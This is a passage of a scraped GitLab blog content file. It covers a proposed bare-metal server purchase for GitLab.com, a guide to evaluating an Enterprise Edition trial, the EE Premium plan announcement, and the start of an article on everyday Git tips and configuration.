score](https://en.wikipedia.org/wiki/SPECint) increases from 845 to 887 the costs increase from $669 to $939.\nYou can find the scores by entering a [search on spec.org](https://www.spec.org/cgi-bin/osgresults?conf=rint2006) with 'Hewlett Packard Enterprise' as the hardware vendor and looking for ProLiant DL360 Gen9 as the platform.\n\nOur current SQL server has one E5-2698B v3 with 32 virtual cores.\nPostgreSQL commonly uses about 20-25 virtual cores.\nMoving to dual processors should already help a lot.\nTo give us more months to grow before having to distribute the database we want to purchase some headroom.\nThat is why we're getting a [E5-2687Wv4](https://ark.intel.com/products/91750/Intel-Xeon-Processor-E5-2687W-v4-30M-Cache-3_00-GHz) for the database servers.\nThis processor costs $2100 instead of $670 but has 4 extra virtual cores and runs continuously on 3 Ghz instead of 2.2 Ghz.\nComprated to the E5-2630v4 that leads to a SPEC score or 1230 instead of 845 and 51.3 SPEC per virtual core instead of 42.3.\nFor the 4 dual processor database servers this upgrade will cost $11k.\nWe think it is worth it since the 20-40% of extra performance will buy us the month or two of extra time to distribute the database that we need.\n\n### Disk\n\nEvery node can fit 3 larger (3.5\") harddrives.\nWe plan to purchase the largest one available, a 8TB Seagate with 6Gb/s SATA and 7.2K RPM.\nAt 60 nodes this will give us 1.4PB of raw storage.\nAt a replication factor of 3 for Ceph this is 480TB of usable storage.\nRight now GitLab.com uses 96TB (54TB for repo's, 21TB for uploads, 21TB for LFS and build artifacts) so we can grow by a factor of almost 5.\n\nDisks can be slow so we looked at improving latency.\nHigher RPM hard drives typically come in [GB instead of TB sizes](http://www.seagate.com/enterprise-storage/hard-disk-drives/enterprise-performance-15k-hdd/).\nGoing all SSD is too expensive.\nTo improve latency we plan to fit every server with an SSD card.\nOn the fileservers this will be used as a cache.\nWe're thinking about using [Bcache](https://en.wikipedia.org/wiki/Bcache) for this.\n\nWe plan to use [Intel DC P3700 series](http://www.intel.com/content/www/us/en/solid-state-drives/ssd-dc-p3700-spec.html) or slight less powerful [P3600 series](http://www.intel.com/content/www/us/en/solid-state-drives/ssd-dc-p3600-spec.html) of SSD's because they are recommended by the CephFS experts we hired.\nFor most servers it will be the [800GB SSDPEDMD800G4](http://www.supermicro.com/products/nfo/PCI-E_SSD.cfm?show=Intel).\nFor the database servers we plan to use the 1.6TB variant to have more headroom.\nThe endurance we need for the database server is 90TB/year, the 3600 series is already above 4PB of endurance.\n\nWe plan to add a 64GB [SSD SATADOM boot drive](https://www.supermicro.com/products/nfo/SATADOM.cfm) to the servers to boot from.\nThis way we can keep the large SSD as a separate volume.\n\nD1 We plan to configure the disks as just a bunch of disks (JBOD) but heard that this caused performance problems with some controllers. Is this likely to impact us?\n\nD2 Should we use Bcache to improve latency on the Ceph OSD servers with SSD? => Make sure you're using a kernel >= 4.5, since that's when a bunch of stability patches landed (https://lkml.org/lkml/2015/12/5/38).\n\nD3 We heard concerns about fitting the PCIe 3.0 x 4 SSD card into [our chassis](https://www.supermicro.nl/products/system/2U/6028/SYS-6028TP-HTTR.cfm) that supports a PCI-E 3.0 x16 Low-profile slot. Will this fit? => [Florian Heigl](http://disq.us/p/1eedj2n): \"Somewhat unlikely you will be able to fit a P3700. I have a Twin^2 too and the only SSD I could fit there was a consumer NVME with a PCIe adapter board.\"\n\nD4 Should we ask for 8TB HGST drives instead of Seagate since they seem [more reliable](https://www.backblaze.com/blog/hard-drive-reliability-stats-q1-2016/).\n\nD5 Is it a good idea to have a boot drive or should we use [PXE boot](https://en.wikipedia.org/wiki/Preboot_Execution_Environment) every time it starts? => [dsr_](https://news.ycombinator.com/item?id=13153336): You want a local boot drive, and you want it to fall back to PXE booting if the local drive is unavailable. Your PXE image should default to the last known working image, and have a boot-time menu with options for a rescue image and an installer for your distribution of choice.\n\nD6 Should we go for the 3700 series SSD or save some money and go for the 3600 series? Both for the normal and the SQL servers?\n\nD7 We're planning on one SSD per node. For the OSD nodes (file server) that would mean having the Ceph journal and bcache on the same SSD. Is this a good idea?\n\n### Memory\n\nSuppose one node runs both as application server and fileserver.\nWe recommend virtual cores + 1 instances of Unicorn of about 0.5GB each, for a total of 21GB per node (2 processors * 21 unicorns per processor * 0.5GB).\nCeph recommends about 1GB per TB of data which comes out to 24 per node.\nSo theoretically we can fit everything in 45GB so 64GB should be enough.\n\nBut in practice we've seen 24TB OSD nodes use 79GB of memory.\nAnd the rule of thumb is have about 2GB per virtual core for background jobs available (40GB).\nSo in order not to be to low we'll spend the extra $30k to have 128GB of ECC memory per node instead of 64GB.\n\nFor the SQL nodes we'll need much more memory, we currently give it 440GB and it uses all of that.\nThe database is about 250GB in size and growing with 40GB per month.\nAt 250GB of server memory we redlined the server, probably because it no longer fits into memory.\nTheoretically the server supports 2TB of memory but it needs to fit in 16 memory slots per node.\nWe wanted to start with 1TB per server but we're not sure if we should go from a 64GB DIMM to 128GB to be able to expand later.\nBy having only half of the memory banks full you get half the bandwidth.\nAnd 64GB DIMMs already cost twice as much per GB as 32GB DIMMs, let alone 128GB ones.\nAt a price of about $940 per 64 DIMM the cost for 1TB of memory already is $15k per server.\n\nNote that larger sizes such as 64GB come in the form of LRDIMM that has a [small performance penalty](https://www.microway.com/hpc-tech-tips/ddr4-rdimm-lrdimm-performance-comparison/) but this looks acceptable.\n\nM1. Should we use 128GB DIMMS to be able to expand the database server later even though the will double the cost and half the bandwidth?\n\n### Network\n\nThe servers come with 2x 10Gbps RJ45 by default (Intel X540 Dual port 10GBase-T).\nWe want to [dual bound](https://docs.oracle.com/cd/E37670_01/E41138/html/ch11s05.html) the network connections to increase performance and reliability.\nThis will allow us to take routers out of service during low traffic times, for example to restart them after a software upgrade.\nWe think that 20Gbps is enough bandwidth to handle our data access and replication needs, right now our highest peaks are 1 Gbps.\nThis is important because we want to have minimal latency between the Ceph servers so network congestion would be a problem.\n\nCeph reference designs recommend a separated front and back network with the back network reserved for Ceph traffic.\nWe think that this is not needed as long as there is enough capacity.\nWe do want to have user request termination in a DMZ, so our HA proxy servers will be the only ones with a public IP.\n\nEach of the two physical network connections will connect to a different top of rack router.\nWe want to get a Software Defined Networking (SDN) compatible router so we have flexibility there.\nWe're considering the [10/40GbE SDN SuperSwitch (SSE-X3648S/SSE-X3648SR)](https://www.supermicro.com/products/accessories/Networking/SSE-X3648S.cfm) that can switch 1440 Gbps.\n\nApart from those routers we'll have a separate router for a 1Gbps management network.\nFor example to make [STONITH](https://en.wikipedia.org/wiki/STONITH) reliable when there is a lot of traffic on the normal network.\nEach node already has a separate 1Gbps connection for this.\n\nWe have 64+1 nodes (1 for backup) and most routers seem to have 48 ports.\nEvery node has 2 network ports so that is a need for 130 ports in total.\nWe're not use if we can use 3 routers with 48 ports each (144 in total) to cover that.\n\nN1 Which router should we purchase?\n\nN2 How do we interconnect the routers while keeping the network simple and fast?\n\nN3 Should we have a separate network for Ceph traffic?\n\nN4 Do we need an SDN compatible router or can we purchase something more affordable?\n\nN5 What router should we use for the management network?\n\n### Backup\n\nWe're still early in figuring out the backup solution so there are still lots of questions.\n\nBacking up 480TB of data (expected size in 2017) is pretty hard.\nWe thought about using [Google Nearline](https://cloud.google.com/storage-nearline/) because with a price of $0.01 per GB per month means that for $4800 we don't have to worry about much.\nBut restoring that over a 1Gbps connection takes 44 days, way too long.\n\nWe mainly want our backup to protect us against human and software errors.\nBecause all the files are already replicated 3 times hardware errors are unlikely to affect us.\nOf course we should have a good [Ceph CRUSH map](http://docs.ceph.com/docs/jewel/rados/operations/crush-map/) to prevent storing multiple copies on the same chassis.\n\nWe're most afraid of human error or Ceph corruption. For that reason we don't want to replicate on the Ceph level but on the file level.\n\nWe're thinking about using [Bareos backup software](https://www.bareos.org/en/) to replicate to a huge fileserver.\nWe're inspired by the posts about the [latest 480TB Backblaze storage pod 6.0](https://www.backblaze.com/blog/open-source-data-storage-server/) and these are available for $6k without drives from [Backuppods](https://www.backuppods.com/).\nBut SuperMicro offers a [comparable solution in the form of a SuperChassis that can hold 90 drives](https://www.supermicro.com/products/chassis/4U/946/SC946ED-R2KJBOD).\nAt 8TB per drive that is 720TB of raw storage.\nEven with RAID overhead it should be possible to have 480TB of usable storage (66%).\n\nThe SuperChassis is only hard drives, it still needs a controller. In a [reference architecture by Nexenta (PDF download)](https://nexenta.com/sites/default/files/docs/Nexenta_SMC_RA_DataSheet.pdf) two [SYS6028U](https://www.supermicro.com/products/system/2u/6028/sys-6028u-tr4_.cfm) with E5-2643v3 processors and 256GB of RAM is recommended. Unlike smaller configurations this one doesn't come with an SSD for [ZFS L2ARC](https://blogs.oracle.com/brendan/entry/test).\n\nSince backups are mostly linear we don't need an SSD for caching. In general 1GB of memory per TB of raw ZFS disk space is recommended. That would mean getting 512GB of RAM, 16x 32GB. Unlike the reference architecture we'll go with one controller. We're considering the [SuperServer 1028R-WC1RT](https://www.supermicro.com/products/system/1U/1028/SYS-1028R-WC1RT.cfm) since it is similar to our other servers, 1U, has 2x 10Gbps, 16 DIMM slots, and has 2 PCI slots. We'll use our regular [E5-2630v4](http://ark.intel.com/products/92981/Intel-Xeon-Processor-E5-2630-v4-25M-Cache-2_20-GHz) processor.\n\nThe question is if this controller can saturate the 20 Gbps uplink.\nFor this it needs to use both 12 Gbps SAS buses.\nAnd each drive has to do at least 30 MBps which seems reasonable for a continuous read.\n\nThe problem is that even at 20Gbps a full restore takes 2 days.\nOf course many times you need to restore only part of the files (uploads).\nAnd most of the time it won't contain 480TB (we'll start at about 100TB).\nThe question is if we can accept this worst case scenario for GitLab.com.\n\nAn alternative would be to use multiple controllers.\nBut you can't aggregate ZFS pools over multiple servers.\nAnother option would be to have one controller with more IO.\nWe can use multiple disk enclosures and multiple SAS buses.\nAnd we can add more network ports and/or switch to 40Gbps.\nBut this all seems pretty complicated.\n\nB0 Are we on the right track here or is 20 Gbps of restore speed not OK?\n\nB1 Should we go for the [90 or 60 drive SuperChassis](https://www.supermicro.com/products/chassis/4U/?chs=946)? It looks like 60 drive one has more peak power (1600W vs. 800W) to start the drives.\n\nB2 How should we configure the SuperChassis? [ZFS on Linux](http://zfsonlinux.org/) with [RAIDZ3](https://icesquare.com/wordpress/zfs-performance-mirror-vs-raidz-vs-raidz2-vs-raidz3-vs-striped/)?\n\nB3 Will the SuperChassis be able to saturate the 20Gbsp connection?\n\nB4 Should we upgrade the networking on the SuperChassis to be able to restore even faster?\n\nB5 Is Bareos the right software to use?\n\nB6 How should we configure the backup software?  Should we use incremental backups with parallel jobs to speed things up?\n\nB7 Should we use the live filesystem or [CephFS snapshots](http://docs.ceph.com/docs/master/dev/cephfs-snapshots/) to back up from?\n\nB8 How common is it to have a tape or cloud backup in addition to the above?\n\nB9 Should we pick the top load model or [one of the front and rear access models](https://www.supermicro.com/products/chassis/JBOD/index.cfm?show=SELECT&storage=90).\n\nB10 Can we connect two SAS cables to get 2x 12 Gbps?\n\nB11 What [HBA card](https://www.supermicro.com/products/nfo/storage_cards.cfm) should be added to the controller or does it come with an LSI 3108?\n\nB12 Is it smart to make the controller a separate 1U box or should we repurpose some of our normal nodes for this?\n\nB13 Any hints on how to test the backup restore (on AWS or our hardware, how often, etc.)?\n\n### Rack\n\nThe default rack height seems to be 45U nowadays (42U used to be the standard).\n\nIt is used as follows:\n\n- 32U for 16 chassis with 64 nodes\n- 3U for three network routers\n- 1U for the management network\n- 4U for the disk enclosure\n- 1U for the disk controller\n- 4U spare for 2 new chassis (maybe distributed PostgreSQL servers)\n\n### Power\n\nEach chassis has a 2000 watt power supply (comes to 1kW per U), 32kW in total.\nNormal usage is guessed at 60% of the rated capacity, about 19kW.\nThat doesn't account for the routers and backup.\nBoth hosting providers quoted 4 x 208v 30A power supplies (2 for redundancy).\n\nP1 Does the quoted supply seem adequate for our needs?\n\n### Hosting\n\nWe've worked in [an issue](https://gitlab.com/gitlab-com/infrastructure/issues/732) to see where we should host.\n\nApart from the obvious (reliable, affordable) we had the following needs:\n\n- [AWS Direct connect](https://aws.amazon.com/directconnect/details/) so we can use the cloud for temporary application server needs\n- Based on the east coast of the USA since it provides the best latency tradeoff for most of our users\n- Advanced remote hands service so we don't have to station people near the datacenter at all times\n- Ability to upgrade from one rack to a private cage\n\nThe following networking options are a plus:\n\n- Carrier neutral (all major global network providers in its meet-me facility)\n- Backbones to other locations to provide cheap 2nd site transit\n- CDN services to reduce origin bandwidth costs\n\nSo far we've gotten quotes from [QTS in Ashburn, VA](http://www.qtsdatacenters.com/data-centers/ashburn) and [NYI in Bridgewater, NJ](https://www.nyi.net/datacenters/new-jersey/).\n\nH1 Any watchouts when selecting hosting providers?\n\nH2 Should we install the servers ourselves or is it OK to let the hosting provider do that?\n\nH3 How can we minimize installation costs? Should we ask to configure the servers to PXE boot?\n\nH4 Is there an Azure equivalent for AWS Direct Connect? => Azure will let you work with a provider to \"peer into\" the Azure network at a data center of your choice. So for example we could pay to have a circuit established in a data center that was linked into the Azure 'US East 2' data center (where we currently host out of) for direct connectivity needs.\n\n### Expense\n\nWe can't give cost details since all the quotes we receive are confidential.\nThe cloud hosting for GitLab.com excluding GitLab CI is currently costing us about $200k per month.\nThe capital needed for going to metal would be less than we pay for 1 quarter of hosting.\nThe hosting facility costs look to be less than $10k per month.\nIf you spread the capital costs over 2.5 years (10 quarters) it is 10x cheaper to host your own.\n\nOf course the growth of GitLab.com will soon force us to buy additional hardware.\nBut we would also have to pay extra for additional cloud capacity.\nOur proposed buying plan is about 5x the capacity we need now.\nHaving your own hardware means you're always overprovisioned.\nAnd we could probably have reduced the cost of cloud hosting by focussing on it.\n\nThe bigger expense will be hiring more people to deal with the additional complexity.\nWe'll probably need to hire a couple of people more to deal with this.\n\nWe looked into initially having disks in only half the servers but that saves only $20k ($225 per disk) and it would create a lot of work when we eventually have to install them.\n\nE1 If we want to look at leasing should we do that through SuperMicro or third party?\n\nE2 Are there ways we can save money?\n\n## Details\n\nOur detailed calculations and notes can be found in a [public Google sheet](https://docs.google.com/spreadsheets/d/1XG9VXdDxNd8ipgPlEr7Nb7Eg22twXPuzgDwsOhtdYKQ/edit#gid=894825456).\n",{"slug":36752,"featured":6,"template":678},"proposed-server-purchase-for-gitlab-com","content:en-us:blog:proposed-server-purchase-for-gitlab-com.yml","Proposed Server Purchase For Gitlab Com","en-us/blog/proposed-server-purchase-for-gitlab-com.yml","en-us/blog/proposed-server-purchase-for-gitlab-com",{"_path":36758,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36759,"content":36765,"config":36769,"_id":36771,"_type":16,"title":36772,"_source":17,"_file":36773,"_stem":36774,"_extension":20},"/en-us/blog/how-to-evaluate-gitlab-during-ee-trial",{"title":36760,"description":36761,"ogTitle":36760,"ogDescription":36761,"noIndex":6,"ogImage":36762,"ogUrl":36763,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36763,"schema":36764},"How to evaluate GitLab during an EE trial","Find out if GitLab EE is the right fit for your company by evaluating your free trial with this handy spreadsheet","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683936/Blog/Hero%20Images/i-love-spreadsheets-trial-evaluation.jpg","https://about.gitlab.com/blog/how-to-evaluate-gitlab-during-ee-trial","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to evaluate GitLab during an EE trial\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2016-12-09\",\n      }",{"title":36760,"description":36761,"authors":36766,"heroImage":36762,"date":36767,"body":36768,"category":299},[19026],"2016-12-09","\n\nEver reach the end of a free trial and wonder if you even learned anything from the experience? We want you to get the most out of your time using [GitLab Enterprise Edition](/enterprise/), so here's a spreadsheet you can use to evaluate the product.\n\n\u003C!-- more -->\n\nSometimes when you start a free trial you don't have any particular criteria in mind and aren't sure what exactly you're looking for from GitLab EE, so you don't get much out of your time using it. The spreadsheet below was created by one of our biggest EE customers to use when they were evaluating GitLab, and they've kindly shared it with us to help more users discover whether EE is the best choice for them.\n\nWe'd love for you to contribute to it and make it work for you so we can also learn more about what you're looking for in EE. Please share your feedback in the comments!\n\nFollow the instructions below to make an informed decision about whether GitLab EE is right for your company.\n\n1. To get started, sign up for your [free 30-day trial of GitLab EE](/free-trial/).\n1. Make a copy of our [GitLab EE trial evaluation spreadsheet](https://docs.google.com/spreadsheets/d/1gUzEoiJqbkE35lCmpk8UqFP1bMfzG3SjmstFQKaVxFM/edit?usp=sharing) and save it to your own Google Drive.\n1. Customize the spreadsheet to suit your needs: add other products you currently use or are considering and will be comparing to GitLab EE, and include additional tests that you would run to assess the trial.\n1. Create an evaluation timeline for your 30-day trial, and divide tasks between departments and teams if you like.\n1. At the end of the trial period, total the scores.\n1. [Contact our sales team](/sales/) with any questions or feedback.\n\n\nImage: \"[I Love Spreadsheets](https://www.flickr.com/photos/craigmoulding/8399214678/)\" by [Craig Chew-Moulding](https://www.flickr.com/photos/craigmoulding/) is licensed under [CC BY-SA 2.0](https://creativecommons.org/licenses/by-sa/2.0/)\n",{"slug":36770,"featured":6,"template":678},"how-to-evaluate-gitlab-during-ee-trial","content:en-us:blog:how-to-evaluate-gitlab-during-ee-trial.yml","How To Evaluate Gitlab During Ee Trial","en-us/blog/how-to-evaluate-gitlab-during-ee-trial.yml","en-us/blog/how-to-evaluate-gitlab-during-ee-trial",{"_path":36776,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36777,"content":36783,"config":36789,"_id":36791,"_type":16,"title":36792,"_source":17,"_file":36793,"_stem":36794,"_extension":20},"/en-us/blog/announcing-gitlab-enterprise-edition-premium",{"title":36778,"description":36779,"ogTitle":36778,"ogDescription":36779,"noIndex":6,"ogImage":36780,"ogUrl":36781,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36781,"schema":36782},"Expanding our enterprise: GitLab Enterprise edition premium","We've added a new enterprise plan, GitLab Enterprise Edition Premium","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683929/Blog/Hero%20Images/announcing-ee-premium-cover.jpg","https://about.gitlab.com/blog/announcing-gitlab-enterprise-edition-premium","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Expanding our Enterprise offering: Announcing GitLab Enterprise Edition Premium\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amara Nwaigwe\"}],\n        \"datePublished\": \"2016-12-08\",\n      }",{"title":36784,"description":36779,"authors":36785,"heroImage":36780,"date":36787,"body":36788,"category":299},"Expanding our Enterprise offering: Announcing GitLab Enterprise Edition Premium",[36786],"Amara Nwaigwe","2016-12-08","\n\nToday we are announcing the addition of a new enterprise plan, GitLab Enterprise Edition Premium. GitLab Enterprise Edition (EE) Premium was built for global organizations who need a solution for remote teams, premium support, High Availability, and advanced workflow controls. GitLab EE Premium builds on top of our base enterprise plan and offers the following additional features:\n\n\u003C!-- more -->\n\n* Premium Support: 4-hour response times, 24/7 emergency support, training, upgrade assistance, and support for High Availability ensure that your team can focus on building great products.\n* GitLab Geo: Make your remote teams more productive with read-only mirrors of your GitLab instance that significantly reduce the time it takes to clone and fetch large repos.\n* File Locking: Improve how you manage your binary and text files with the ability to lock any file or directory.\n* Pivotal Tile: Easily deploy GitLab as a pre-configured appliance using Ops Manager (BOSH) for Pivotal Cloud Foundry.\n\n[GitLab EE Premium](/pricing/premium/) ensures your team has the tools and support they need today\nas well as in the future. Premium features are features that\nreplace other products typically used within organizations. Take a look at some\nof the premium features we are considering on [our direction page](/direction/#new-products).\n\nGitLab EE Premium is now [available for purchase](/stages-devops-lifecycle/) for $199 per user per year.\n\n## What has changed?\n\nPreviously, we offered one enterprise plan for $39 per user/per year and a number of additional enterprise products you could purchase for $99 per product/per user/per year. Now, the products and services we used to offer as additional purchases will be bundled into GitLab EE Premium. The only change to the former GitLab Enterprise Edition is the name. Its features and price will be exactly the same. This plan has simply been renamed to GitLab Enterprise Edition Starter.\n\nWe are also improving our Premium Support offering to speed up our non-emergency SLA from next-day responses to a 4-hour response time. This faster response time means that we will no longer offer a dedicated service engineer. While dedicated resources can potentially offer more personalized service, they limit our ability to get back to you as quickly as possible. We know your team’s time is sensitive so we chose to optimize for faster response times.\n\n## Why one subscription instead of multiple products?\n\nThere are a few reasons:\n\n1. The per product purchasing process slowed customers down. We'd release a new product that our customers needed but in order for customers to actually start using it they would have to start a new internal purchasing process.\n2. Unlocking certain features/experiences on a per product reduces the usage, so we were not getting enough feedback from our customers on how we could improve.\n3. We think this will make ordering and upsell conversations less complex.\n\n## What does this mean for existing enterprise customers?\n\n* For customers who did not purchase an EE product, there is no change.\n* For customers with one EE Product, you were paying $138 per user/per year for one product. With the new EE Premium plan you'll have quicker support response times and access to the additional products for $199 per user/per year.\n* For customers with two or more EE Product, you will save money and enjoy quicker support response times.\n\nWe want all of our customers to have the best experience with our products so we are offering all enterprise customers a 25% discount for early renewal until January 31st, 2017. If you've purchased an EE product we'll upgrade your plan to EE Premium so you can try the additional products and services for FREE until your contract renewal. For customers with two or more of the EE products, we will include the additional products and services, update your contract to reflect the new EE Premium price of $199/per user, and give you money back (to refund the difference between your bill with multiple EE products and the new EE Premium price).\n",{"slug":36790,"featured":6,"template":678},"announcing-gitlab-enterprise-edition-premium","content:en-us:blog:announcing-gitlab-enterprise-edition-premium.yml","Announcing Gitlab Enterprise Edition Premium","en-us/blog/announcing-gitlab-enterprise-edition-premium.yml","en-us/blog/announcing-gitlab-enterprise-edition-premium",{"_path":36796,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36797,"content":36802,"config":36805,"_id":36807,"_type":16,"title":36808,"_source":17,"_file":36809,"_stem":36810,"_extension":20},"/en-us/blog/git-tips-and-tricks",{"title":36798,"description":36799,"ogTitle":36798,"ogDescription":36799,"noIndex":6,"ogImage":30679,"ogUrl":36800,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36800,"schema":36801},"Git tips and tricks","Handy Git commands for everyday use","https://about.gitlab.com/blog/git-tips-and-tricks","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Git tips and tricks\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Achilleas Pipinellis\"}],\n        \"datePublished\": \"2016-12-08\",\n      }",{"title":36798,"description":36799,"authors":36803,"heroImage":30679,"date":36787,"body":36804,"category":734},[35789],"\n\n[Git] comes with a ton of commands, and that's probably an understatement.\n\n[The internet] is full of Git tips and it's hard if not impossible to know\nthem all, but sometimes you stumble upon an aha! moment that changes your\nwhole workflow.\n\nIn this post, we gathered some Git tips and tricks we use at GitLab everyday.\nHopefully they will add up to your aha! moment.\n\n\u003C!-- more -->\n\n- TOC\n{:toc}\n\n## Intro\n\nAlmost everybody at GitLab will need to use Git at some point. For newcomers\nwho know nothing about Git that can be a fearsome experience. We have a\n[Git cheatsheet] and a `#git-help` chat channel where we ask questions and\nprovide help if some of us get stuck. That's a quick way to provide help, and\nif something is complicated or someone has messed up their local repository and\nneeds immediate help, there's always a person to jump on a quick call.\n\nHere's a pack of Git tricks that will leverage your Git-fu and you'll hopefully\nfind useful. Remember, the list is far from exhaustive :)\n\n## Git's built-in help\n\nThe majority of users rely on sites like [StackOverflow] to find answers to their\nGit problems, but how often do you use Git's built-in help to find more about a\ncommand you are struggling with?\n\n### The most common commands\n\nRun `git help` to print a list of the most common commands. You'll probably\nnotice you've used most of them, but how well do you really know them?\nThankfully, there is a help page for every command!\n\n### A help page for every command\n\nGit's documentation is comprehensive and is automatically installed with Git.\nRun `git help \u003Ccommand>` to find out all about a command's behavior and what\noptions it can take.\n\n### Git guides\n\nGit comes with a handful of guides ready for you to explore. Run `git help -g`\nto see what's available:\n\n```\nThe common Git guides are:\n\n   attributes   Defining attributes per path\n   everyday     Everyday Git With 20 Commands Or So\n   glossary     A Git glossary\n   ignore       Specifies intentionally untracked files to ignore\n   modules      Defining submodule properties\n   revisions    Specifying revisions and ranges for Git\n   tutorial     A tutorial introduction to Git (for version 1.5.1 or newer)\n   workflows    An overview of recommended workflows with Git\n```\n\nJump to a Git tutorial with `git help tutorial`, go through the glossary with\n`git help glossary` or learn about the most common commands with\n`git help everyday`.\n\n## See the repository status in your terminal's prompt\n\nIt's very useful to be able to visualize the status of your repository at any\ngiven time. While there are 3rd party tools that include this information\n([oh-my-zsh][ohmyzsh] anyone?), Git itself provides a script named `git-prompt.sh`\nthat does exactly that. You can [download it][gitprompt] and follow the\ninstructions in it to install and use it in your system. If you're using Linux\nand have installed Git with your package manager, it may already be\npresent on your system, usually under `/etc/bash_completion.d/`.\n\nGo ahead and replace your boring shell prompt with something like this:\n\n![Git shell prompt](https://about.gitlab.com/images/blogimages/git-tricks/git-shell-info.png){: .shadow}\n\n_Taken from oh-my-zsh's [themes wiki][git-shell-info-source]_\n\n## Autocompletion for Git commands\n\nYou may also find it useful to use the [completion scripts] that provide Git\ncommand completion for `bash`, `tcsh` and `zsh`. Again, follow the instructions\ninside the scripts to learn how to install them. Once done, you can try out\ntyping a command.\n\nLet's say you want to type `git pull`. If Git completion is enabled, typing\njust the first letter with `git p` followed by \u003Ckbd>Tab\u003C/kbd> will show the\nfollowing:\n\n```\npack-objects   -- create packed archive of objects\npack-redundant -- find redundant pack files\npack-refs      -- pack heads and tags for efficient repository access\nparse-remote   -- routines to help parsing remote repository access parameters\npatch-id       -- compute unique ID for a patch\nprune          -- prune all unreachable objects from the object database\nprune-packed   -- remove extra objects that are already in pack files\npull           -- fetch from and merge with another repository or local branch\npush           -- update remote refs along with associated objects\n```\n\nTo show all available commands, type `git` in your terminal followed by\n\u003Ckbd>Tab\u003C/kbd>+ \u003Ckbd>Tab\u003C/kbd>, and see the magic happening.\n\n![It's a kind of magic](https://media.giphy.com/media/12NUbkX6p4xOO4/giphy.gif)\n\n## Git plugins\n\nSince Git is free software, it's easy for people to write scripts that extend\nits functionality. Let's see some of the most common ones.\n\n### The `git-extras` plugin\n\nIf you want to enhance Git with more commands, you'll want to try out the\n[`git-extras` plugin][gitextras]. It includes commands like `git info` (show\ninformation about the repository), `git effort` (number of commits per file),\nand the list goes on. After you [install][extras-inst] it, make sure to visit\nthe [documentation on the provided commands][commands] in order to understand\nwhat each one does before using it.\n\n### The `git-open` plugin\n\nIf you want to quickly visit the website on which the repository you're on is\nhosted, `git-open` is for you. All major providers are supported (GitLab, GitHub,\nBitbucket) and you can even use them all at the same time if you set\nthem as different remotes.\n\n[Install it][install-open], and try it out by cloning a repository from\n[GitLab.com](https://gitlab.com/explore). From your terminal navigate to that\nrepository and run `git open` to be transferred to the project's page on\nGitLab.com.\n\nIt works by default for projects hosted on GitLab.com, but you can also use it\nwith your own GitLab instances. In that case, make sure to set up the domain\nname with:\n\n```bash\ngit config gitopen.gitlab.domain git.example.com\n```\n\nYou can even open different remotes and branches if they have been set up.\nRead more in the [examples section][git-open-examples].\n\n## `.gitconfig` on steroids\n\nThe `.gitconfig` file contains information on how you want Git to behave on\ncertain circumstances. There are options you can set at a repository level,\nbut you can also set them in a global `.gitconfig` so that all local config\nwill inherit its values. This file usually resides in your home directory.\nIf not, either you'll have to create it manually or it will be automatically\nbe created when you issue a command starting with `git config --global` as\nwe'll see below.\n\nThe very first encounter with `.gitconfig` was probably when you set your\nname and email address for Git to know who you are.\nTo know more about the options `.gitconfig` can take, see the [Git documentation\non `.gitconfig`][gitconfig].\n\nIf you are using macOS or Linux, `.gitconfig` will probably be hidden if you are\ntrying to open it from a file manager. Either make sure the hidden files are\nshown or open it using a command in the terminal: `atom ~/.gitconfig`.\n{: .alert .alert-info}\n\nLet's explore some of the most useful config options.\n\n###  Set a global `.gitignore`\n\nIf you want to avoid committing files like `.DS_Store`, Vim `swp` files, etc.,\nyou can set up a global `.gitignore` file.\n\nFirst create the file:\n\n```bash\ntouch ~/.gitignore\n```\n\nThen run:\n\n```bash\ngit config --global core.excludesFile ~/.gitignore\n```\n\nOr manually add the following to your `~/.gitconfig`:\n\n```ini\n[core]\n  excludesFile = ~/.gitignore\n```\n\nGradually build up your own useful list of things you want Git to ignore. Read\nthe [gitignore documentation](https://git-scm.com/docs/gitignore) to find out\nmore.\n\n---\n\n_[Git docs source](https://git-scm.com/docs/git-config#git-config-coreexcludesFile)_\n\n###  Delete local branches that have been removed from remote on fetch/pull\n\nYou might already have a bunch of stale branches in your local repository that\nno longer exist in the remote one. To delete them in each fetch/pull, run:\n\n```bash\ngit config --global fetch.prune true\n```\n\nOr manually add the following to your `~/.gitconfig`:\n\n```ini\n[fetch]\n  prune = true\n```\n\n---\n\n_[Git docs source](https://git-scm.com/docs/git-config#git-config-fetchprune)_\n\n### Enable Git's autosquash feature by default\n\nAutosquash makes it quicker and easier to squash or fixup commits during an\ninteractive rebase. It can be enabled for each rebase using\n`git rebase -i --autosquash`, but it's easier to turn it on by default.\n\n```bash\ngit config --global rebase.autosquash true\n```\n\nOr manually add the following to your `~/.gitconfig`:\n\n```ini\n[rebase]\n  autosquash = true\n```\n\nAt this point, let us remind you of [the perils of rebasing][rebase].\n{: .alert .alert-info}\n\n---\n\n_[Git docs source](https://git-scm.com/docs/git-config#git-config-rebaseautoSquash)_\n_([tip taken from thoughbot](https://github.com/thoughtbot/dotfiles/pull/377))_\n\n### Extra info when using Git submodules\n\nIf you are using [submodules], it might be useful to turn on the submodule summary.\nFrom your terminal run:\n\n```bash\ngit config --global status.submoduleSummary true\n```\n\nOr manually add the following to your `~/.gitconfig`:\n\n```ini\n[status]\n  submoduleSummary = true\n```\n\n---\n\n_[Git docs source](https://git-scm.com/docs/git-config#git-config-statussubmoduleSummary)_\n\n### Change the editor of Git's messages\n\nYou can change the default text editor for use by Git commands.\n\nFrom `git help var`:\nthe order of preference is the `$GIT_EDITOR` environment variable, then\n`core.editor` configuration, then `$VISUAL`, then `$EDITOR`, and then the\ndefault chosen at compile time, which is usually `vi`.\n\nRunning `git config --show-origin 